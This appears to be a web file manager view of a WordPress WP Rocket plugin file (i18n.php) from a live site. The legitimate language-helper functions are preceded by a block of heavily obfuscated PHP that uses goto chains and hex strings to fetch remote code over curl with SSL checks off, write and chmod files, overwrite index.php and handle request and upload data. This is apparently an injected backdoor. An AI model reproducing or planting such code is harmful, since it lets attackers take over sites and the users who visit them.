芝麻web文件管理V1.00
编辑当前文件:/www/wwwroot/fashionmodelquicktrack.com/wp-content/plugins/wp-rocket/inc/functions/i18n.php
$UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> get_active_languages() as $lang ) { // Get flag. $flag = $sitepress->get_flag( $lang['code'] ); $flag_url = ICL_PLUGIN_URL . '/res/flags/' . $flag->flag; if ( $flag->from_template ) { $wp_upload_dir = wp_upload_dir(); $flag_url = $wp_upload_dir['baseurl'] . '/flags/' . $flag->flag; } $langlinks[] = [ 'code' => $lang['code'], 'current' => $lang['code'] === $sitepress->get_current_language(), 'anchor' => $lang['display_name'], 'flag' => '
', ]; } if ( isset( $_GET['lang'] ) && 'all' === $_GET['lang'] ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended array_unshift( $langlinks, [ 'code' => 'all', 'current' => 'all' === $sitepress->get_current_language(), 'anchor' => __( 'All languages', 'rocket' ), 'flag' => '
', ] ); } else { array_push( $langlinks, [ 'code' => 'all', 'current' => 'all' === $sitepress->get_current_language(), 'anchor' => __( 'All languages', 'rocket' ), 'flag' => '
', ] ); } return $langlinks; } /** * Get all langs to display in admin bar for qTranslate * * @since 2.7 add fork param * @since 1.3.5 * * @param string $fork qTranslate fork name. * @return array $langlinks List of active languages */ function get_rocket_qtranslate_langs_for_admin_bar( $fork = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals global $q_config; $langlinks = []; $currentlang = []; foreach ( $q_config['enabled_languages'] as $lang ) { $langlinks[ $lang ] = [ 'code' => $lang, 'anchor' => $q_config['language_name'][ $lang ], 'flag' => '
', ]; } if ( isset( $_GET['lang'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended $lang = sanitize_key( $_GET['lang'] ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( 'x' === $fork ) { if ( qtranxf_isEnabled( $lang ) ) { $currentlang[ $lang ] = $langlinks[ $lang ]; unset( $langlinks[ $lang ] ); $langlinks = $currentlang + $langlinks; } } elseif ( qtrans_isEnabled( $lang ) ) { $currentlang[ $lang ] = $langlinks[ $lang ]; unset( $langlinks[ $lang ] ); $langlinks = $currentlang + $langlinks; } } return $langlinks; } /** * Get all langs to display in admin bar for Polylang * * @since 2.2 * * @return array $langlinks List of active languages */ function get_rocket_polylang_langs_for_admin_bar() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals global $polylang; $langlinks = []; $currentlang = []; $langs = []; $img = ''; $pll = function_exists( 'PLL' ) ? PLL() : $polylang; if ( isset( $pll ) ) { $langs = $pll->model->get_languages_list(); if ( ! empty( $langs ) ) { foreach ( $langs as $lang ) { if ( ! empty( $lang->flag ) ) { $img = strpos( $lang->flag, 'img' ) !== false ? $lang->flag . ' ' : $lang->flag; } if ( isset( $pll->curlang->slug ) && $lang->slug === $pll->curlang->slug ) { $currentlang[ $lang->slug ] = [ 'code' => $lang->slug, 'anchor' => $lang->name, 'flag' => $img, ]; } else { $langlinks[ $lang->slug ] = [ 'code' => $lang->slug, 'anchor' => $lang->name, 'flag' => $img, ]; } } } } return $currentlang + $langlinks; } /** * Tell if a translation plugin is activated. * * @since 2.0 * @since 3.2.1 Return an identifier on success instead of true. * * @return string An identifier corresponding to the active plugin. */ function rocket_has_i18n() { global $sitepress, $q_config, $polylang; if ( ! empty( $sitepress ) && is_object( $sitepress ) && method_exists( $sitepress, 'get_active_languages' ) ) { // WPML. return 'wpml'; } if ( ! empty( $polylang ) && function_exists( 'pll_languages_list' ) ) { $languages = pll_languages_list(); if ( empty( $languages ) ) { return ''; } // Polylang, Polylang Pro. return 'polylang'; } if ( ! empty( $q_config ) && is_array( $q_config ) ) { if ( function_exists( 'qtranxf_convertURL' ) ) { // qTranslate-x. return 'qtranslate-x'; } if ( function_exists( 'qtrans_convertURL' ) ) { // qTranslate. return 'qtranslate'; } } $identifier = ''; $default = $identifier; /** * Filters the value of i18n plugin detection * * @param string $identifier An identifier value. */ $identifier = apply_filters( 'rocket_has_i18n', $identifier ); if ( ! is_string( $identifier ) ) { $identifier = $default; } return $identifier; } /** * Get infos of all active languages. * * @since 2.0 * * @return array A list of language codes. */ function get_rocket_i18n_code() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals $i18n_plugin = rocket_has_i18n(); if ( ! $i18n_plugin ) { return []; } if ( 'wpml' === $i18n_plugin ) { // WPML. return array_keys( $GLOBALS['sitepress']->get_active_languages() ); } if ( 'qtranslate' === $i18n_plugin || 'qtranslate-x' === $i18n_plugin ) { // qTranslate, qTranslate-x. return ! empty( $GLOBALS['q_config']['enabled_languages'] ) ? $GLOBALS['q_config']['enabled_languages'] : []; } if ( 'polylang' === $i18n_plugin ) { // Polylang, Polylang Pro. return pll_languages_list(); } $codes = []; $default = $codes; /** * Filters the active languages codes list * * @param array $codes Array of languages codes. */ $codes = apply_filters( 'rocket_get_i18n_code', $codes ); if ( ! is_array( $codes ) ) { $codes = $default; } return $codes; } /** * Get all active languages host * * @since 2.6.8 * * @return array $urls List of all active languages host */ function get_rocket_i18n_host() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals $langs_host = []; $langs = get_rocket_i18n_uri(); if ( empty( $langs ) ) { return $langs_host; } foreach ( $langs as $lang ) { $langs_host[] = wp_parse_url( $lang, PHP_URL_HOST ); } return $langs_host; } /** * Get all active languages URI. * * @since 2.0 * * @return array $urls List of all active languages URI. */ function get_rocket_i18n_uri() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals $i18n_plugin = rocket_has_i18n(); $urls = []; if ( 'wpml' === $i18n_plugin ) { // WPML. foreach ( get_rocket_i18n_code() as $lang ) { $urls[] = $GLOBALS['sitepress']->language_url( $lang ); } } elseif ( 'qtranslate' === $i18n_plugin || 'qtranslate-x' === $i18n_plugin ) { // qTranslate, qTranslate-x. foreach ( get_rocket_i18n_code() as $lang ) { if ( 'qtranslate' === $i18n_plugin ) { $urls[] = qtrans_convertURL( home_url(), $lang, true ); } else { $urls[] = qtranxf_convertURL( home_url(), $lang, true ); } } } elseif ( 'polylang' === $i18n_plugin ) { // Polylang, Polylang Pro. $pll = function_exists( 'PLL' ) ? PLL() : $GLOBALS['polylang']; if ( ! empty( $pll ) && is_object( $pll ) ) { if ( ! defined( 'POLYLANG_VERSION' ) || version_compare( POLYLANG_VERSION, '3.4', '<' ) ) { $urls = wp_list_pluck( $pll->model->get_languages_list(), 'search_url' ); }else { $languages = $pll->model->get_languages_list(); foreach ( $languages as $language ) { $urls[] = $language->get_home_url(); } } } } /** * Filters the value of all active languages URI * * @param array Array of active languages URI. */ $urls = apply_filters( 'rocket_get_i18n_uri', $urls ); if ( ! is_array( $urls ) || empty( $urls ) ) { $urls[] = home_url(); } return $urls; } /** * Get directories paths to preserve languages when purging a domain. * This function is required when the domains of languages (other than the default) are managed by subdirectories. * By default, when you clear the cache of the french website with the domain example.com, all subdirectory like /en/ * and /de/ are deleted. But, if you have a domain for your english and german websites with example.com/en/ and * example.com/de/, you want to keep the /en/ and /de/ directory when the french domain is cleared. * * @since 3.5.5 Normalize paths + micro-optimization by passing in the cache path. * @since 2.0 * * @param string $current_lang The current language code. * @param string $cache_path Optional. WP Rocket's cache path. * * @return array A list of directories path to preserve. */ function get_rocket_i18n_to_preserve( $current_lang, $cache_path = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals // Must not be an empty string. if ( empty( $current_lang ) ) { return []; } // Must not be anything else but a string. if ( ! is_string( $current_lang ) ) { return []; } $i18n_plugin = rocket_has_i18n(); if ( ! $i18n_plugin ) { return []; } $langs = get_rocket_i18n_code(); if ( empty( $langs ) ) { return []; } // Remove current lang to the preserve dirs. $langs = array_diff( $langs, [ $current_lang ] ); if ( '' === $cache_path ) { $cache_path = _rocket_get_wp_rocket_cache_path(); } // Stock all URLs of langs to preserve. $langs_to_preserve = []; foreach ( $langs as $lang ) { $parse_url = get_rocket_parse_url( get_rocket_i18n_home_url( $lang ) ); $langs_to_preserve[] = _rocket_normalize_path( "{$cache_path}{$parse_url['host']}(.*)/" . trim( $parse_url['path'], '/' ), true // escape directory separators for regex. ); } /** * Filter directories path to preserve of cache purge. * * @since 2.1 * * @param array $langs_to_preserve List of directories path to preserve. */ return (array) apply_filters( 'rocket_langs_to_preserve', $langs_to_preserve ); } /** * Get all languages subdomains URLs * * @since 2.1 * * @return array $urls List of languages subdomains URLs */ function get_rocket_i18n_subdomains() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals $i18n_plugin = rocket_has_i18n(); if ( ! $i18n_plugin ) { return []; } $urls = []; $default = $urls; switch ( $i18n_plugin ) { // WPML. case 'wpml': $option = get_option( 'icl_sitepress_settings' ); if ( 2 === (int) $option['language_negotiation_type'] ) { $urls = get_rocket_i18n_uri(); } break; // qTranslate. case 'qtranslate': if ( 3 === (int) $GLOBALS['q_config']['url_mode'] ) { $urls = get_rocket_i18n_uri(); } break; // qTranslate-x. case 'qtranslate-x': if ( 3 === (int) $GLOBALS['q_config']['url_mode'] || 4 === (int) $GLOBALS['q_config']['url_mode'] ) { $urls = get_rocket_i18n_uri(); } break; // Polylang, Polylang Pro. case 'polylang': $pll = function_exists( 'PLL' ) ? PLL() : $GLOBALS['polylang']; if ( ! empty( $pll ) && is_object( $pll ) && ( 2 === (int) $pll->options['force_lang'] || 3 === (int) $pll->options['force_lang'] ) ) { $urls = get_rocket_i18n_uri(); } break; default: /** * Filters the list of languages subdomains URLs * * @param array $urls Array of languages subdomains URLs. */ $urls = apply_filters( 'rocket_i18n_subdomains', $urls ); if ( ! is_array( $urls ) ) { $urls = $default; } } return $urls; } /** * Get home URL of a specific lang. * * @since 2.2 * * @param string $lang The language code. Default is an empty string. * @return string $url */ function get_rocket_i18n_home_url( $lang = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals $i18n_plugin = rocket_has_i18n(); $home_url = home_url(); $default = $home_url; if ( ! $i18n_plugin ) { return $home_url; } switch ( $i18n_plugin ) { // WPML. case 'wpml': $home_url = $GLOBALS['sitepress']->language_url( $lang ); break; // qTranslate. case 'qtranslate': $home_url = qtrans_convertURL( home_url(), $lang, true ); break; // qTranslate-x. case 'qtranslate-x': $home_url = qtranxf_convertURL( home_url(), $lang, true ); break; // Polylang, Polylang Pro. case 'polylang': $pll = function_exists( 'PLL' ) ? PLL() : $GLOBALS['polylang']; if ( ! empty( $pll->options['force_lang'] ) && isset( $pll->links ) ) { $home_url = pll_home_url( $lang ); } break; default: /** * Filters the home URL value for a specific language * * @param string $home_url Home URL. * @param string $lang The language code. */ $home_url = apply_filters( 'rocket_i18n_home_url', $home_url, $lang ); if ( ! is_string( $home_url ) ) { $home_url = $default; } } return $home_url; } /** * Get all translated path of a specific post with ID. * * @since 2.4 * * @param int $post_id Post ID. * @param string $post_type Post Type. * @param string $regex Regex to include at the end. * @return array */ function get_rocket_i18n_translated_post_urls( $post_id, $post_type = 'page', $regex = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals $url = get_permalink( $post_id ); $path = wp_parse_url( $url, PHP_URL_PATH ); if ( empty( $path ) ) { return []; } $i18n_plugin = rocket_has_i18n(); $urls = []; $default = $urls; switch ( $i18n_plugin ) { // WPML. case 'wpml': $langs = get_rocket_i18n_code(); if ( $langs ) { foreach ( $langs as $lang ) { $urls[] = wp_parse_url( get_permalink( icl_object_id( $post_id, $post_type, true, $lang ) ), PHP_URL_PATH ) . $regex; } } break; // qTranslate & qTranslate-x. case 'qtranslate': case 'qtranslate-x': $langs = $GLOBALS['q_config']['enabled_languages']; $langs = array_diff( $langs, [ $GLOBALS['q_config']['default_language'] ] ); $urls[] = wp_parse_url( $url, PHP_URL_PATH ) . $regex; if ( $langs ) { foreach ( $langs as $lang ) { if ( 'qtranslate' === $i18n_plugin ) { $urls[] = wp_parse_url( qtrans_convertURL( $url, $lang, true ), PHP_URL_PATH ) . $regex; } elseif ( 'qtranslate-x' === $i18n_plugin ) { $urls[] = wp_parse_url( qtranxf_convertURL( $url, $lang, true ), PHP_URL_PATH ) . $regex; } } } break; // Polylang. case 'polylang': if ( function_exists( 'PLL' ) && is_object( PLL()->model ) ) { $translations = pll_get_post_translations( $post_id ); } elseif ( ! empty( $GLOBALS['polylang']->model ) && is_object( $GLOBALS['polylang']->model ) ) { $translations = $GLOBALS['polylang']->model->get_translations( 'page', $post_id ); } if ( ! empty( $translations ) ) { foreach ( $translations as $translation_post_id ) { $urls[] = wp_parse_url( get_permalink( $translation_post_id ), PHP_URL_PATH ) . $regex; } } break; default: /** * Filters the list of translated URLs for a post ID * * @param array $urls Array of translated URLs. * @param string $url URL to use. * @param string $post_type Post type. * @param string $regex Pattern to include at the end. */ $urls = apply_filters( 'rocket_i18n_translated_post_urls', $urls, $url, $post_type, $regex ); if ( ! is_array( $urls ) ) { $urls = $default; } } if ( trim( $path, '/' ) !== '' ) { $urls[] = $path . $regex; } return array_unique( $urls ); } /** * Returns the home URL, without WPML filters if the plugin is active * * @since 3.2.4 * * @param string $path Path to add to the home URL. * @return string */ function rocket_get_home_url( $path = '' ) { global $wpml_url_filters; static $home_url = []; static $has_wpml; if ( isset( $home_url[ $path ] ) ) { return $home_url[ $path ]; } if ( ! isset( $has_wpml ) ) { $has_wpml = $wpml_url_filters && is_object( $wpml_url_filters ) && method_exists( $wpml_url_filters, 'home_url_filter' ); } if ( $has_wpml ) { remove_filter( 'home_url', [ $wpml_url_filters, 'home_url_filter' ], -10 ); } $home_url[ $path ] = home_url( $path ); if ( $has_wpml ) { add_filter( 'home_url', [ $wpml_url_filters, 'home_url_filter' ], -10, 4 ); } return $home_url[ $path ]; } /** * Gets the current language * * @since 3.3.3 * * @return string */ function rocket_get_current_language() { $i18n_plugin = rocket_has_i18n(); if ( ! $i18n_plugin ) { return ''; } $current_language = ''; $default = $current_language; if ( 'polylang' === $i18n_plugin && function_exists( 'pll_current_language' ) ) { return pll_current_language(); } elseif ( 'wpml' === $i18n_plugin ) { return apply_filters( 'wpml_current_language', null ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals } /** * Filters the current language value * * @param string $current_language Current language. */ $current_language = apply_filters( 'rocket_i18n_current_language', $current_language ); if ( ! is_string( $current_language ) ) { $current_language = $default; } return $current_language; }